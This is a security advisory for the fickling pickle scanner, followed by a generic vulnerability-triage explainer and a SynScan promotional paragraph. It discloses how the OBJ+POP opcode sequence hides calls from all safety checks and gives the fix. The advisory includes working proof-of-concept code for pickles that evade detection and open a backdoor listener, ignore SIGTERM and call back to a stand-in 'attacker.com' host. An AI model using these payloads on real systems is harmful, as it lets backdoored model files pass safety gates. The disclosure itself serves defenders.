The interpreter so it behaves closer to CPython when dealing with OBJ, NEWOBJ, and NEWOBJ_EX opcodes (https://github.com/trailofbits/fickling/commit/ff423dade2bb1f72b2b48586c022fac40cbd9a4a).
All 5 of fickling's safety interfaces -- is_likely_safe(), check_safety(), CLI --check-safety, always_check_safety(), and the check_safety() context manager -- report LIKELY_SAFE / raise no exceptions for pickle files that use the OBJ opcode to call dangerous stdlib functions (signal handlers, network servers, network connections, file operations). The OBJ opcode's implementation in fickling pushes function calls directly onto the interpreter stack without persisting them to the AST via new_variable(). When the result is discarded with POP, the call vanishes from the final AST entirely, making it invisible to all 9 analysis passes.
This is a separate vulnerability from the REDUCE+BUILD bypass, with a different root cause. It survives all three proposed fixes for the REDUCE+BUILD vulnerability.
The vulnerability is a single missing new_variable() call in Obj.run() (fickle.py:1333-1350).
REDUCE (fickle.py:1286-1301) correctly persists calls to the AST:
# Line 1300: call IS saved to module_body
var_name = interpreter.new_variable(call)
interpreter.stack.append(ast.Name(var_name, ast.Load()))
The comment on lines 1296-1299 explicitly states: "if we just save it to the stack, then it might not make it to the final AST unless the stack value is actually used."
OBJ (fickle.py:1333-1350) does exactly what that comment warns against:
# Line 1348: call is ONLY on the stack, NOT in module_body
interpreter.stack.append(ast.Call(kls, args, []))
When the OBJ result is discarded by POP, the ast.Call is gone. The decompiled AST shows the import but no function call:
from smtplib import SMTP # import present (from STACK_GLOBAL)
result = None # no call to SMTP visible
Yet at runtime, SMTP('127.0.0.1') executes and opens a TCP connection.
NEWOBJ (fickle.py:1411-1420) and NEWOBJ_EX (fickle.py:1423-1433) have the same code pattern but are less exploitable since CPython's NEWOBJ calls cls.__new__() (allocation only) while OBJ calls cls(*args) (full constructor execution with __init__ side effects).
All versions through 0.1.7 (latest as of 2026-02-19).
fickling.is_likely_safe() - returns True for bypass payloadsfickling.analysis.check_safety() - returns AnalysisResults with severity = Severity.LIKELY_SAFEfickling --check-safety CLI - exits with code 0fickling.always_check_safety() + pickle.load() - no UnsafeFileError raised, malicious code executesfickling.check_safety() context manager + pickle.load() - no UnsafeFileError raised, malicious code executesA pickle that opens a TCP connection to an attacker's server via OBJ+POP, yet fickling reports it as LIKELY_SAFE:
import io, struct
def sbu(s):
"""SHORT_BINUNICODE opcode helper."""
b = s.encode()
return b"\x8c" + struct.pack("<B", len(b)) + b
def make_obj_pop_bypass():
"""
Pickle that calls smtplib.SMTP('127.0.0.1') at runtime,
but the call is invisible to fickling.
Opcode sequence:
MARK
STACK_GLOBAL 'smtplib' 'SMTP' (import persisted to AST)
SHORT_BINUNICODE '127.0.0.1' (argument)
OBJ (call SMTP('127.0.0.1'), push result)
(ast.Call on stack only, NOT in AST)
POP (discard result -> call GONE)
NONE
STOP
"""
buf = io.BytesIO()
buf.write(b"\x80\x04\x95") # PROTO 4 + FRAME
payload = io.BytesIO()
payload.write(b"(") # MARK
payload.write(sbu("smtplib") + sbu("SMTP")) # push module + func strings
payload.write(b"\x93") # STACK_GLOBAL
payload.write(sbu("127.0.0.1")) # push argument
payload.write(b"o") # OBJ: call SMTP('127.0.0.1')
payload.write(b"0") # POP: discard result
payload.write(b"N.") # NONE + STOP
frame_data = payload.getvalue()
buf.write(struct.pack("<Q", len(frame_data)))
buf.write(frame_data)
return buf.getvalue()
import fickling, tempfile, os
data = make_obj_pop_bypass()
path = os.path.join(tempfile.mkdtemp(), "bypass.pkl")
with open(path, "wb") as f:
f.write(data)
print(fickling.is_likely_safe(path))
# Output: True <-- BYPASSED (network connection invisible to fickling)
fickling decompiles this to:
from smtplib import SMTP
result = None
Yet at runtime, SMTP('127.0.0.1') executes and opens a TCP connection.
CLI verification:
$ fickling --check-safety bypass.pkl; echo "EXIT: $?"
EXIT: 0 # BYPASSED
Comparison with REDUCE (same function, detected):
$ fickling --check-safety reduce_smtp.pkl; echo "EXIT: $?"
Warning: Fickling detected that the pickle file may be unsafe.
EXIT: 1 # DETECTED
A pickle that opens a TCP listener on port 9999, binding to all interfaces:
import io, struct
def sbu(s):
b = s.encode()
return b"\x8c" + struct.pack("<B", len(b)) + b
def binint(n):
return b"J" + struct.pack("<i", n)
def make_backdoor():
buf = io.BytesIO()
buf.write(b"\x80\x04\x95") # PROTO 4 + FRAME
payload = io.BytesIO()
# OBJ+POP: TCPServer(('0.0.0.0', 9999), BaseRequestHandler)
payload.write(b"(") # MARK
payload.write(sbu("socketserver") + sbu("TCPServer") + b"\x93") # STACK_GLOBAL
payload.write(b"(") # MARK (inner tuple)
payload.write(sbu("0.0.0.0")) # host
payload.write(binint(9999)) # port
payload.write(b"t") # TUPLE
payload.write(sbu("socketserver") + sbu("BaseRequestHandler") + b"\x93") # handler
payload.write(b"o") # OBJ
payload.write(b"0") # POP
payload.write(b"N.") # NONE + STOP
frame_data = payload.getvalue()
buf.write(struct.pack("<Q", len(frame_data)))
buf.write(frame_data)
return buf.getvalue()
import fickling
data = make_backdoor()
with open("/tmp/backdoor.pkl", "wb") as f:
f.write(data)
print(fickling.is_likely_safe("/tmp/backdoor.pkl"))
# Output: True <-- BYPASSED
import pickle, socket
server = pickle.loads(data)
# Port 9999 is now LISTENING on all interfaces
s = socket.socket()
s.connect(("127.0.0.1", 9999))
print("Connected to backdoor port!") # succeeds
s.close()
server.server_close()
A single pickle combining signal suppression + backdoor listener + outbound callback + file persistence:
# All four operations in one pickle, all invisible to fickling:
# 1. signal.signal(SIGTERM, SIG_IGN) - suppress graceful shutdown
# 2. socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler) - backdoor
# 3. smtplib.SMTP('attacker.com') - C2 callback
# 4. sqlite3.connect('/tmp/.marker') - persistence marker
# fickling reports: LIKELY_SAFE
# All 4 operations execute at runtime
always_check_safety() verification:
import fickling, pickle
fickling.always_check_safety()
with open("poc_obj_multi.pkl", "rb") as f:
result = pickle.load(f)
# No UnsafeFileError raised -- all 4 malicious operations executed
An attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts:
socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler) opens a port on all interfaces. The TCPServer constructor calls server_bind() and server_activate(), so the port is open immediately after pickle.loads() returns.signal.signal(SIGTERM, SIG_IGN) makes the process ignore SIGTERM. In Kubernetes/Docker/ECS, the backdoor stays alive for 30+ seconds per restart attempt.smtplib.SMTP('attacker.com') opens an outbound TCP connection. The attacker's server learns the victim's IP and hostname.sqlite3.connect(path) creates a file at an attacker-chosen path.A single pickle combines all operations. In cloud ML environments, this enables persistent backdoor access while resisting graceful shutdown. This affects any application using fickling as a safety gate for ML model files.
The bypass works for any stdlib module NOT in fickling's UNSAFE_IMPORTS blocklist. Blocked modules (os, subprocess, socket, builtins, etc.) are still detected at the import level.
Add new_variable() to Obj.run() (lines 1348 and 1350), applying the same pattern used by Reduce.run() (line 1300):
# fickle.py, Obj.run():
- if args or hasattr(kls, "__getinitargs__") or not isinstance(kls, type):
- interpreter.stack.append(ast.Call(kls, args, []))
- else:
- interpreter.stack.append(ast.Call(kls, kls, []))
+ if args or hasattr(kls, "__getinitargs__") or not isinstance(kls, type):
+ call = ast.Call(kls, args, [])
+ else:
+ call = ast.Call(kls, kls, [])
+ var_name = interpreter.new_variable(call)
+ interpreter.stack.append(ast.Name(var_name, ast.Load()))
Also apply to NewObj.run() (line 1414) and NewObjEx.run() (line 1426) for defense in depth.
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.